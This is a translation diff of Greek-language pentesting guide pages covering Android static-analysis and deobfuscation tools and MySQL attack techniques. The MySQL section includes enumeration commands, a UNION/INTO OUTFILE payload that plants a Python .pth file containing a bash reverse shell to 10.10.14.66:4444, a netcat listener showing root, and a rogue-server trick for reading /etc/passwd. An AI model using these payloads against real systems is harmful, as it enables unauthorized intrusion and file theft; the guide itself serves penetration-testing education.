Όλοι οι κανόνες συγκεντρώνονται στο αρχείο `rules.json`, και κάθε εταιρεία ή tester μπορεί να δημιουργήσει τους δικούς της κανόνες για να αναλύσει ό,τι χρειάζεται.
|
||||||
|
|
||||||
Κατεβάστε τα πιο πρόσφατα binaries από τη [download page](https://superanalyzer.rocks/download.html)
|
Κατεβάστε τα πιο πρόσφατα binaries από τη [download page](https://superanalyzer.rocks/download.html)
|
||||||
```
|
```
|
||||||
@ -709,17 +711,17 @@ super-analyzer {apk_file}
|
|||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Το StaCoAn είναι ένα **πολυπλατφορμικό** εργαλείο που βοηθά προγραμματιστές, bugbounty hunters και ethical hackers να πραγματοποιούν [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) σε mobile εφαρμογές.
|
StaCoAn είναι ένα **crossplatform** εργαλείο που βοηθά προγραμματιστές, bugbounty hunters και ethical hackers να πραγματοποιούν [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) σε mobile applications.
|
||||||
|
|
||||||
Η ιδέα είναι να σύρετε και να αποθέσετε το αρχείο της mobile εφαρμογής σας (ένα .apk ή .ipa αρχείο) στην εφαρμογή StaCoAn και αυτή θα δημιουργήσει για εσάς μια οπτική και φορητή αναφορά. Μπορείτε να προσαρμόσετε τις ρυθμίσεις και τις wordlists για να έχετε μια εξατομικευμένη εμπειρία.
|
Η ιδέα είναι ότι σύρετε και αποθέτετε το αρχείο της εφαρμογής κινητού σας (ένα .apk ή .ipa file) στην εφαρμογή StaCoAn και θα δημιουργήσει για εσάς μια οπτική και φορητή αναφορά. Μπορείτε να προσαρμόσετε τις ρυθμίσεις και τα wordlists για μια εξατομικευμένη εμπειρία.
|
||||||
|
|
||||||
Κατεβάστε[ latest release](https://github.com/vincentcox/StaCoAn/releases):
|
Λήψη[ latest release](https://github.com/vincentcox/StaCoAn/releases):
|
||||||
```
|
```
|
||||||
./stacoan
|
./stacoan
|
||||||
```
|
```
|
||||||
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
|
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
|
||||||
|
|
||||||
Το AndroBugs Framework είναι ένα σύστημα ανάλυσης ευπαθειών για Android που βοηθά προγραμματιστές ή hackers να εντοπίσουν πιθανές ευπάθειες ασφαλείας στις Android εφαρμογές.\
|
Το AndroBugs Framework είναι ένα σύστημα ανάλυσης ευπαθειών για Android που βοηθά προγραμματιστές ή hackers να εντοπίσουν πιθανές ευπάθειες ασφαλείας σε εφαρμογές Android.\
|
||||||
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
|
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
|
||||||
```
|
```
|
||||||
python androbugs.py -f [APK file]
|
python androbugs.py -f [APK file]
|
||||||
@ -727,11 +729,11 @@ androbugs.exe -f [APK file]
|
|||||||
```
|
```
|
||||||
### [Androwarn](https://github.com/maaaaz/androwarn)
|
### [Androwarn](https://github.com/maaaaz/androwarn)
|
||||||
|
|
||||||
**Androwarn** είναι ένα εργαλείο του οποίου ο κύριος στόχος είναι να εντοπίζει και να ειδοποιεί τον χρήστη σχετικά με πιθανές κακόβουλες συμπεριφορές που αναπτύσσει μια εφαρμογή Android.
|
**Androwarn** είναι ένα εργαλείο του οποίου ο κύριος στόχος είναι να ανιχνεύει και να ειδοποιεί τον χρήστη για πιθανές κακόβουλες συμπεριφορές που αναπτύσσονται από μια εφαρμογή Android.
|
||||||
|
|
||||||
Ο εντοπισμός πραγματοποιείται με την **static analysis** του Dalvik bytecode της εφαρμογής, που αναπαρίσταται ως **Smali**, χρησιμοποιώντας τη βιβλιοθήκη [`androguard`](https://github.com/androguard/androguard).
|
Η ανίχνευση γίνεται μέσω της **static analysis** του Dalvik bytecode της εφαρμογής, που αναπαρίσταται ως **Smali**, χρησιμοποιώντας τη βιβλιοθήκη [`androguard`](https://github.com/androguard/androguard).
|
||||||
|
|
||||||
Αυτό το εργαλείο αναζητά **συνηθισμένες συμπεριφορές "κακών" εφαρμογών** όπως: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
|
Αυτό το εργαλείο αναζητά **συνηθισμένες συμπεριφορές των "bad" applications** όπως: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
|
||||||
```
|
```
|
||||||
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||||
```
|
```
|
||||||
@ -739,46 +741,46 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
|||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. Είναι ένα εργαλείο που συγκεντρώνει κοινά χρησιμοποιούμενα εργαλεία για mobile application reverse engineering και analysis, για να βοηθήσει στο testing mobile applications ενάντια στις OWASP mobile security απειλές. Σκοπός του είναι να κάνει αυτή την εργασία πιο εύκολη και φιλική για mobile application developers και security professionals.
|
**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. Είναι ένα εργαλείο που συγκεντρώνει κοινά χρησιμοποιούμενα εργαλεία reverse engineering και analysis για mobile applications, ώστε να βοηθήσει στο testing mobile applications απέναντι στις OWASP mobile security threats. Στόχος του είναι να κάνει αυτήν την εργασία πιο εύκολη και φιλική προς τους mobile application developers και security professionals.
|
||||||
|
|
||||||
It is able to:
|
Μπορεί να:
|
||||||
|
|
||||||
- Extract Java and Smali code using different tools
|
- Extract Java and Smali code using different tools
|
||||||
- Analyze APKs using: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
|
- Αναλύει APKs χρησιμοποιώντας: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
|
||||||
- Extract private information from the APK using regexps.
|
- Εξάγει private information από το APK χρησιμοποιώντας regexps.
|
||||||
- Analyze the Manifest.
|
- Αναλύει το Manifest.
|
||||||
- Analyze found domains using: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
- Αναλύει τα domains που βρίσκει χρησιμοποιώντας: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) και [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||||
- Deobfuscate APK via [apk-deguard.com](http://www.apk-deguard.com)
|
- Deobfuscate APK via [apk-deguard.com](http://www.apk-deguard.com)
|
||||||
|
|
||||||
### Koodous
|
### Koodous
|
||||||
|
|
||||||
Χρήσιμο για τον εντοπισμό malware: [https://koodous.com/](https://koodous.com)
|
Χρήσιμο για την ανίχνευση malware: [https://koodous.com/](https://koodous.com/)
|
||||||
|
|
||||||
## Obfuscating/Deobfuscating code
|
## Απόκρυψη/Αποκρυπτογράφηση κώδικα
|
||||||
|
|
||||||
Σημειώστε ότι ανάλογα με την υπηρεσία και τη ρύθμιση που χρησιμοποιείτε για να obfuscate τον code, τα secrets ενδέχεται να καταλήξουν obfuscated ή όχι.
|
Σημειώστε ότι, ανάλογα με την υπηρεσία και τη διαμόρφωση που χρησιμοποιείτε για την απόκρυψη του κώδικα, τα μυστικά μπορεί να είναι obfuscated ή όχι.
|
||||||
|
|
||||||
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
|
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
|
||||||
|
|
||||||
From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. Μπορεί να optimize το bytecode καθώς και να εντοπίσει και να αφαιρέσει unused instructions. Το ProGuard είναι free software και διανέμεται υπό τη GNU General Public License, version 2.
|
From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. It is able to optimize bytecode as well as detect and remove unused instructions. ProGuard is free software and is distributed under the GNU General Public License, version 2.
|
||||||
|
|
||||||
Το ProGuard διανέμεται ως μέρος του Android SDK και εκτελείται όταν γίνεται build της εφαρμογής σε release mode.
|
Το ProGuard διανέμεται ως μέρος του Android SDK και τρέχει κατά τη διάρκεια του build της εφαρμογής σε release mode.
|
||||||
|
|
||||||
### [DexGuard](https://www.guardsquare.com/dexguard)
|
### [DexGuard](https://www.guardsquare.com/dexguard)
|
||||||
|
|
||||||
Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||||
|
|
||||||
(From that guide) Last time we checked, the Dexguard mode of operation was:
|
(Από αυτόν τον οδηγό) Την τελευταία φορά που ελέγξαμε, ο τρόπος λειτουργίας του Dexguard ήταν:
|
||||||
|
|
||||||
- load a resource as an InputStream;
|
- φορτώνει έναν resource ως InputStream;
|
||||||
- feed the result to a class inheriting from FilterInputStream to decrypt it;
|
- περνάει το αποτέλεσμα σε μια κλάση που κληρονομεί από FilterInputStream για να το αποκρυπτογραφήσει;
|
||||||
- do some useless obfuscation to waste a few minutes of time from a reverser;
|
- κάνει κάποια άχρηστη obfuscation για να σπαταλήσει μερικά λεπτά από το χρόνο ενός reverser;
|
||||||
- feed the decrypted result to a ZipInputStream to get a DEX file;
|
- περνάει το αποκρυπτογραφημένο αποτέλεσμα σε ένα ZipInputStream για να πάρει ένα DEX αρχείο;
|
||||||
- finally load the resulting DEX as a Resource using the `loadDex` method.
|
- τέλος φορτώνει το προκύπτον DEX ως Resource χρησιμοποιώντας τη μέθοδο `loadDex`.
|
||||||
|
|
||||||
### [DeGuard](http://apk-deguard.com)
|
### [DeGuard](http://apk-deguard.com)
|
||||||
|
|
||||||
**DeGuard reverses the process of obfuscation performed by Android obfuscation tools. This enables numerous security analyses, including code inspection and predicting libraries.**
|
**DeGuard αντιστρέφει τη διαδικασία της απόκρυψης που εκτελούν τα Android obfuscation tools. Αυτό επιτρέπει πλήθος security analyses, συμπεριλαμβανομένης της επιθεώρησης κώδικα και της πρόβλεψης βιβλιοθηκών.**
|
||||||
|
|
||||||
Μπορείτε να ανεβάσετε ένα obfuscated APK στην πλατφόρμα τους.
|
Μπορείτε να ανεβάσετε ένα obfuscated APK στην πλατφόρμα τους.
|
||||||
|
|
||||||
@ -788,11 +790,11 @@ This is a LLM tool to find any potential security vulnerabilities in android app
|
|||||||
|
|
||||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||||
|
|
||||||
Είναι ένας **generic android deobfuscator.** Το Simplify **virtually executes an app** για να κατανοήσει τη συμπεριφορά της και στη συνέχεια **προσπαθεί να optimize τον code** ώστε να συμπεριφέρεται ταυτόσημα αλλά να είναι πιο κατανοητός σε άνθρωπο. Κάθε τύπος optimization είναι απλός και generic, οπότε δεν έχει σημασία ποιος συγκεκριμένος τύπος obfuscation χρησιμοποιείται.
|
Είναι ένας generic android deobfuscator. Το Simplify virtually executes an app για να κατανοήσει τη συμπεριφορά του και στη συνέχεια προσπαθεί να optimize τον κώδικα έτσι ώστε να συμπεριφέρεται ταυτόσημα αλλά να είναι πιο εύκολος στην κατανόηση από άνθρωπο. Κάθε τύπος optimization είναι απλός και generic, οπότε δεν έχει σημασία τι συγκεκριμένο είδος obfuscation χρησιμοποιήθηκε.
|
||||||
|
|
||||||
### [APKiD](https://github.com/rednaga/APKiD)
|
### [APKiD](https://github.com/rednaga/APKiD)
|
||||||
|
|
||||||
APKiD σας δίνει πληροφορίες για **πώς φτιάχτηκε ένα APK**. Αναγνωρίζει πολλούς **compilers**, **packers**, **obfuscators** και άλλα περίεργα πράγματα. Είναι [_PEiD_](https://www.aldeid.com/wiki/PEiD) για Android.
|
APKiD σας δίνει πληροφορίες για το πώς δημιουργήθηκε ένα APK. Αναγνωρίζει πολλούς compilers, packers, obfuscators και άλλα περίεργα πράγματα. Είναι [_PEiD_](https://www.aldeid.com/wiki/PEiD) για Android.
|
||||||
|
|
||||||
### Manual
|
### Manual
|
||||||
|
|
||||||
@ -802,13 +804,13 @@ APKiD σας δίνει πληροφορίες για **πώς φτιάχτηκ
|
|||||||
|
|
||||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||||
|
|
||||||
AndroL4b είναι μια Android security virtual machine βασισμένη σε ubuntu-mate που περιλαμβάνει μια συλλογή από τα πιο πρόσφατα frameworks, tutorials και labs από διάφορους security geeks και researchers για reverse engineering και malware analysis.
|
AndroL4b είναι μια Android security virtual machine βασισμένη σε ubuntu-mate που περιλαμβάνει μια συλλογή από τα πιο πρόσφατα framework, tutorials και labs από διάφορους security geeks και researchers για reverse engineering και malware analysis.
|
||||||
|
|
||||||
## References
|
## Αναφορές
|
||||||
|
|
||||||
- [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
|
- [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
|
||||||
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) Είναι μια εξαιρετική λίστα πόρων
|
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) Είναι μια εξαιρετική λίστα πόρων
|
||||||
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course
|
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Σύντομο μάθημα για Android
|
||||||
- [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
|
- [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
|
||||||
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
|
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
|
||||||
- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
|
- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
|
||||||
@ -816,7 +818,7 @@ AndroL4b είναι μια Android security virtual machine βασισμένη
|
|||||||
- [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect)
|
- [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect)
|
||||||
- [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns)
|
- [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns)
|
||||||
|
|
||||||
## Yet to try
|
## Ακόμα να δοκιμαστούν
|
||||||
|
|
||||||
- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
|
- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
|
||||||
- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
|
- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
|
||||||
|
@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
## **Βασικές Πληροφορίες**
|
## **Βασικές Πληροφορίες**
|
||||||
|
|
||||||
**MySQL** μπορεί να περιγραφεί ως ανοιχτού κώδικα **Relational Database Management System (RDBMS)** που είναι διαθέσιμο χωρίς κόστος. Λειτουργεί με τη **Structured Query Language (SQL)**, επιτρέποντας τη διαχείριση και τον χειρισμό βάσεων δεδομένων.
|
**MySQL** μπορεί να περιγραφεί ως ένα ανοιχτού κώδικα **Relational Database Management System (RDBMS)** που διατίθεται δωρεάν. Λειτουργεί με τη **Structured Query Language (SQL)**, επιτρέποντας τη διαχείριση και τον χειρισμό βάσεων δεδομένων.
|
||||||
|
|
||||||
**Προεπιλεγμένη θύρα:** 3306
|
**Προεπιλεγμένη θύρα:** 3306
|
||||||
```
|
```
|
||||||
@ -12,19 +12,19 @@
|
|||||||
```
|
```
|
||||||
## **Σύνδεση**
|
## **Σύνδεση**
|
||||||
|
|
||||||
### **Τοπική**
|
### **Τοπικά**
|
||||||
```bash
|
```bash
|
||||||
mysql -u root # Connect to root without password
|
mysql -u root # Connect to root without password
|
||||||
mysql -u root -p # A password will be asked (check someone)
|
mysql -u root -p # A password will be asked (check someone)
|
||||||
```
|
```
|
||||||
### Απομακρυσμένο
|
### Απομακρυσμένα
|
||||||
```bash
|
```bash
|
||||||
mysql -h <Hostname> -u root
|
mysql -h <Hostname> -u root
|
||||||
mysql -h <Hostname> -u root@localhost
|
mysql -h <Hostname> -u root@localhost
|
||||||
```
|
```
|
||||||
## Εξωτερική Enumeration
|
## Εξωτερική Enumeration
|
||||||
|
|
||||||
Μερικές από τις ενέργειες enumeration απαιτούν έγκυρα διαπιστευτήρια
|
Κάποιες από τις enumeration ενέργειες απαιτούν έγκυρα credentials
|
||||||
```bash
|
```bash
|
||||||
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
|
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
|
||||||
msf> use auxiliary/scanner/mysql/mysql_version
|
msf> use auxiliary/scanner/mysql/mysql_version
|
||||||
@ -36,7 +36,7 @@ msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
|
|||||||
```
|
```
|
||||||
### [**Brute force**](../generic-hacking/brute-force.md#mysql)
|
### [**Brute force**](../generic-hacking/brute-force.md#mysql)
|
||||||
|
|
||||||
### Γράψτε οποιαδήποτε δυαδικά δεδομένα
|
### Εγγραφή οποιωνδήποτε δυαδικών δεδομένων
|
||||||
```bash
|
```bash
|
||||||
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
|
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
|
||||||
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
|
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
|
||||||
@ -78,7 +78,7 @@ quit;
|
|||||||
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
|
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
|
||||||
mysql -u root -h 127.0.0.1 -e 'show databases;'
|
mysql -u root -h 127.0.0.1 -e 'show databases;'
|
||||||
```
|
```
|
||||||
### MySQL Απαρίθμηση Δικαιωμάτων
|
### MySQL Δικαιώματα Enumeration
|
||||||
```sql
|
```sql
|
||||||
#Mysql
|
#Mysql
|
||||||
SHOW GRANTS [FOR user];
|
SHOW GRANTS [FOR user];
|
||||||
@ -101,7 +101,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
|
|||||||
#@ Functions not from sys. db
|
#@ Functions not from sys. db
|
||||||
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
|
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
|
||||||
```
|
```
|
||||||
Μπορείτε να δείτε στα docs τη σημασία κάθε privilege: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
|
Μπορείτε να δείτε στα docs το νόημα κάθε privilege: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
|
||||||
|
|
||||||
### MySQL File RCE
|
### MySQL File RCE
|
||||||
|
|
||||||
@ -110,59 +110,57 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
|
|||||||
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
|
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
#### INTO OUTFILE → Python `.pth` RCE (site-specific configuration hooks)
|
#### INTO OUTFILE → Python `.pth` RCE (hooks διαμόρφωσης ειδικά για το site)
|
||||||
|
|
||||||
Καταχρώμενοι το κλασικό `INTO OUTFILE` primitive, είναι δυνατό να επιτευχθεί *εκτέλεση αυθαίρετου κώδικα* σε στόχους που στη συνέχεια τρέχουν **Python** scripts.
|
Καταχρώμενοι την κλασική `INTO OUTFILE` primitive, είναι δυνατό να αποκτήσετε *arbitrary code execution* σε στόχους που στη συνέχεια τρέχουν **Python** scripts.
|
||||||
|
|
||||||
1. Χρησιμοποιήστε `INTO OUTFILE` για να αποθέσετε ένα προσαρμοσμένο **`.pth`** αρχείο μέσα σε οποιοδήποτε directory που φορτώνεται αυτόματα από `site.py` (π.χ. `.../lib/python3.10/site-packages/`).
|
1. Χρησιμοποιήστε `INTO OUTFILE` για να τοποθετήσετε ένα προσαρμοσμένο **`.pth`** αρχείο μέσα σε οποιονδήποτε κατάλογο φορτώνεται αυτόματα από `site.py` (π.χ. `.../lib/python3.10/site-packages/`).
|
||||||
2. Το `.pth` αρχείο μπορεί να περιέχει *μία μόνο γραμμή* που ξεκινάει με `import ` ακολουθούμενη από αυθαίρετο Python κώδικα, ο οποίος θα εκτελείται κάθε φορά που ξεκινά ο interpreter.
|
2. Το `.pth` αρχείο μπορεί να περιέχει μία *μόνο γραμμή* που ξεκινά με `import ` και ακολουθείται από οποιονδήποτε Python κώδικα, ο οποίος θα εκτελείται κάθε φορά που ξεκινά ο interpreter.
|
||||||
3. Όταν ο interpreter εκτελείται έμμεσα από ένα CGI script (για παράδειγμα `/cgi-bin/ml-draw.py` με shebang `#!/bin/python`), το payload εκτελείται με τα ίδια προνόμια με τη διεργασία του web-server (FortiWeb το έτρεξε ως **root** → full pre-auth RCE).
|
3. Όταν ο interpreter εκτελείται έμμεσα από ένα CGI script (για παράδειγμα `/cgi-bin/ml-draw.py` με shebang `#!/bin/python`), το payload εκτελείται με τα ίδια privileges με τη διεργασία του web-server (το FortiWeb το εκτέλεσε ως **root** → πλήρες pre-auth RCE).
|
||||||
|
|
||||||
Example `.pth` payload (single line, no spaces can be included in the final SQL payload, so hex/`UNHEX()` or string concatenation may be required):
|
Παράδειγμα payload `.pth` (μία γραμμή, δεν μπορούν να περιλαμβάνονται κενά στην τελική SQL payload, οπότε ίσως απαιτηθεί hex/`UNHEX()` ή συνένωση συμβολοσειρών):
|
||||||
```python
|
```python
|
||||||
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
|
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
|
||||||
```
|
```
|
||||||
Παράδειγμα κατασκευής του αρχείου μέσω ενός ερωτήματος **UNION** (οι χαρακτήρες διαστήματος αντικαθίστανται με `/**/` για να παρακαμφθεί ένα φίλτρο διαστήματος `sscanf("%128s")` και να διατηρηθεί το συνολικό μήκος ≤128 bytes):
|
Παράδειγμα δημιουργίας του αρχείου μέσω ενός **UNION** query (οι χαρακτήρες διαστήματος αντικαθίστανται με `/**/` για να παρακαμφθεί ένα φίλτρο διαστήματος `sscanf("%128s")` και να διατηρηθεί το συνολικό μήκος ≤128 bytes):
|
||||||
```sql
|
```sql
|
||||||
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
|
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
|
||||||
```
|
```
|
||||||
Σημαντικοί περιορισμοί & παρακάμψεις:
|
Σημαντικοί περιορισμοί & παρακάμψεις:
|
||||||
|
|
||||||
* `INTO OUTFILE` **δεν μπορεί να αντικαταστήσει** υπάρχοντα αρχεία; επιλέξτε ένα νέο όνομα αρχείου.
|
* `INTO OUTFILE` **δεν μπορεί να αντικαταστήσει** υπάρχοντα αρχεία; επιλέξτε ένα νέο όνομα αρχείου.
|
||||||
* Το μονοπάτι αρχείου επιλύεται **relative to MySQL’s CWD**, οπότε το προθέμα `../../` βοηθά να συντομευτεί το μονοπάτι και να παρακαμφθούν οι περιορισμοί απόλυτης διαδρομής.
|
* Η διαδρομή αρχείου επιλύεται **relative to MySQL’s CWD**, οπότε το να προθέσετε `../../` βοηθά να συντομεύσετε τη διαδρομή και να παρακάμψετε περιορισμούς απόλυτης διαδρομής.
|
||||||
* Αν η είσοδος του attacker εξάγεται με `%128s` (ή παρόμοιο), οποιοδήποτε κενό θα αποκόψει το payload; χρησιμοποιήστε τις ακολουθίες σχολίων MySQL `/**/` ή `/*!*/` για να αντικαταστήσετε τα κενά.
|
* Αν η είσοδος του attacker εξαχθεί με `%128s` (ή παρόμοιο), οποιοδήποτε κενό θα αποκόψει το payload· χρησιμοποιήστε τις ακολουθίες σχολίων της MySQL `/**/` ή `/*!*/` για να αντικαταστήσετε τα κενά.
|
||||||
* Ο χρήστης MySQL που εκτελεί το query χρειάζεται το προνόμιο `FILE`, αλλά σε πολλές συσκευές (π.χ. FortiWeb) η υπηρεσία τρέχει ως **root**, δίνοντας δικαίωμα εγγραφής σχεδόν παντού.
|
* Ο χρήστης MySQL που εκτελεί το ερώτημα χρειάζεται το προνόμιο `FILE`, αλλά σε πολλές συσκευές (π.χ. FortiWeb) η υπηρεσία τρέχει ως **root**, δίνοντας δικαίωμα εγγραφής σχεδόν παντού.
|
||||||
|
|
||||||
After dropping the `.pth`, simply request any CGI handled by the python interpreter to get code execution:
|
Αφού αποθέσετε το `.pth`, απλά καλέστε οποιοδήποτε CGI που χειρίζεται ο python interpreter για να αποκτήσετε code execution:
|
||||||
```
|
```
|
||||||
GET /cgi-bin/ml-draw.py HTTP/1.1
|
GET /cgi-bin/ml-draw.py HTTP/1.1
|
||||||
Host: <target>
|
Host: <target>
|
||||||
```
|
```
|
||||||
Η διεργασία Python θα import αυτόματα το κακόβουλο `.pth` και θα εκτελέσει το shell payload.
|
Η διαδικασία Python θα import το κακόβουλο `.pth` αυτόματα και θα εκτελέσει το shell payload.
|
||||||
```
|
```
|
||||||
# Attacker
|
# Attacker
|
||||||
$ nc -lvnp 4444
|
$ nc -lvnp 4444
|
||||||
id
|
id
|
||||||
uid=0(root) gid=0(root) groups=0(root)
|
uid=0(root) gid=0(root) groups=0(root)
|
||||||
```
|
```
|
||||||
## MySQL αυθαίρετη ανάγνωση αρχείου από τον client
|
## MySQL arbitrary read αρχείο από τον client
|
||||||
|
|
||||||
Στην πραγματικότητα, όταν προσπαθείς να **load data local into a table** το **content of a file**, ο διακομιστής MySQL ή MariaDB ζητάει από τον **client to read it** και να στείλει το περιεχόμενο. **Τότε, αν μπορείς να tamper a mysql client to connect to your own MySQL server, μπορείς να διαβάσεις αυθαίρετα αρχεία.**\
|
Στην πραγματικότητα, όταν προσπαθείς να **load data local into a table** το **content of a file** ο διακομιστής MySQL ή MariaDB ζητάει από τον **client to read it** και να στείλει το περιεχόμενο. **Then, if you can tamper a mysql client to connect to your own MySQL server, you can read arbitrary files.**\
|
||||||
Σημείωσε ότι αυτή είναι η συμπεριφορά όταν χρησιμοποιείται:
|
Σημείωσε ότι αυτή είναι η συμπεριφορά όταν χρησιμοποιείται:
|
||||||
```bash
|
```bash
|
||||||
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||||
```
|
```
|
||||||
(Σημειώστε τη λέξη "local")\ Επειδή χωρίς τη "local" μπορείτε να λάβετε:
|
(Παρατήρησε τη λέξη "local")\ Επειδή χωρίς το "local" μπορείς να πάρεις:
|
||||||
```bash
|
```bash
|
||||||
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||||
|
|
||||||
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
|
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
|
||||||
```
|
```
|
||||||
**Αρχικό PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
**Αρχικό PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||||||
**Σε αυτό το έγγραφο μπορείτε να δείτε μια πλήρη περιγραφή της επίθεσης και ακόμη πώς να την επεκτείνετε σε RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
**Σε αυτό το άρθρο μπορείτε να δείτε μια πλήρη περιγραφή της επίθεσης και ακόμη πώς να την επεκτείνετε σε RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||||
